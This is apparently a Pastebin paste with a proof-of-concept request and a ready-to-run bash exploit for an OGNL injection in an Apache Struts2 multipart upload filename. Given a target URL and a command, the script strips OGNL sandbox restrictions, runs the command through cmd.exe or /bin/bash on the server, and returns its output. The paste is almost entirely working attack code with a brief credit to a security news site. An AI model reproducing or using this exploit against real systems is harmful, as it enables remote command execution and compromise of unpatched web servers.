Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Proof of Concept:
- OST /doUpload.action HTTP/1.1
- Host: localhost:8080
- Content-Length: 10000000
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
- Connection: close
- ------WebKitFormBoundaryAnmUgTEhFhOZpr9z
- Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
- Content-Type: text/plain
- Kaboom
- ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
- Exploit:
- #!/bin/bash
- url=$1
- cmd=$2
- shift
- shift
- boundary="---------------------------735323031399963166993862150"
- content_type="multipart/form-data; boundary=$boundary"
- payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
- printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
- Copyright:
- This paste is for GBHackers on Security Website = https://gbhackers.com
- Provided by Tahar Amine | TheBlaCkCoDeR = https://about.me/TheBlaCkCoDeR
- Thanks!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement